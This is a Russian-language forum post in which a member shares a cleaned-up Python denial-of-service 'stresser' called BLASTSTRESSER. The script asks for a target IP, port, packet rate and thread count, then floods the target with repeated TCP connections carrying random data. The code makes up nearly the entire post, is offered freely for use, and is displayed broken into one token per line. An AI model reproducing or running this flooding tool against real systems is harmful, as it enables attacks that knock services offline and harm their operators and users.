
08.11.2022, 00:19
|
|
Участник форума
Регистрация: 17.04.2020
Сообщений: 184
С нами:
3197792
Репутация:
83
|
|
штука бесполезная, но переписал в более чистый вид
Python:
Код:
import
socket
from
threading
import
Thread
from
random
import
_urandom
from
time
import
sleep
print
(
'=========================BLASTSTRESSER BY DR1PIKI=========================\n'
'=========================FREE FOR ALL, V.1================================\n'
'=========================BLASTSTRESSER BY DR1PIKI========================='
)
def
stress
(
thread_number
:
int
,
packets_count
:
int
,
threads_count
:
int
,
ip
:
str
,
port
:
str
=
80
)
-
>
None
:
_bytes
=
_urandom
(
1024
)
_thread
=
0
while
True
:
try
:
_socket
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
_socket
.
connect
(
(
ip
,
port
)
)
_socket
.
send
(
_bytes
)
for
i
in
range
(
packets_count
)
:
_socket
.
send
(
_bytes
)
_socket
.
send
(
_bytes
)
_thread
+=
1
print
(
f'Атакую{ip}| Отправлено с потока:{_thread}'
)
except
Exception
as
ex
:
_socket
.
close
(
)
print
(
str
(
ex
)
)
sleep
(
10
)
def
main
(
)
-
>
None
:
ip
=
str
(
input
(
'[+] IP-адрес цели: '
)
)
port
=
int
(
input
(
'[+] Порт: '
)
)
packets_count
=
int
(
input
(
'[+] Пакеты/сек: '
)
)
threads_count
=
int
(
input
(
'[+] Потоков: '
)
)
for
thread_num
in
range
(
threads_count
)
:
Thread
(
target
=
stress
,
args
=
(
thread_num
,
packets_count
,
threads_count
,
ip
,
port
,
)
)
.
start
(
)
break
if
__name__
==
"__main__"
:
main
(
)
|
|
|